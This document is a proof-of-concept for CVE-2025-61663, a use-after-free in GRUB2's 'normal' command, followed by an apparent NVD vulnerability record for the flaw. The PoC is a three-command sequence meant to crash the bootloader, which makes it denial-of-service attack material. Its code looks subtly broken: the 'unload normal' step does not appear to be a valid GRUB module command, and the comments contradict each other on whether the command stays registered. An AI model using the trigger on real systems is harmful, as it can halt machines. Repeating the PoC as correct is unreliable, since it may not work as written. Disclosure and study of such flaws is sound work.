CVE-2025-61663

// CVE-2025-61663 PoC - GRUB2 normal command Use-after-Free // This PoC demonstrates the vulnerability trigger mechanism // Step 1: Load the normal module insmod normal // Step 2: Unload the normal module (command remains registered) unload normal // Step 3: Trigger the Use-after-Free by executing the unregistered command // This will cause GRUB2 to access freed memory normal // Expected result: System crash/bootloader hang // Note: This PoC requires physical access to GRUB2 command line

{"cve": {"id": "CVE-2025-61663", "sourceIdentifier": "[email protected]", "published": "2025-11-18T19:15:50.387", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in the GRUB2 bootloader's normal command that poses an immediate Denial of Service (DoS) risk. This flaw is a Use-after-Free issue, caused because the normal command is not properly unregistered when the module is unloaded. An attacker who can execute this command can force the system to access memory locations that are no longer valid. Successful exploitation leads directly to system instability, which can result in a complete crash and halt system availability. Impact on the data integrity and confidentiality is also not discarded."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.4, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-825"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-61663", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2414684", "source": "[email protected]"}]}}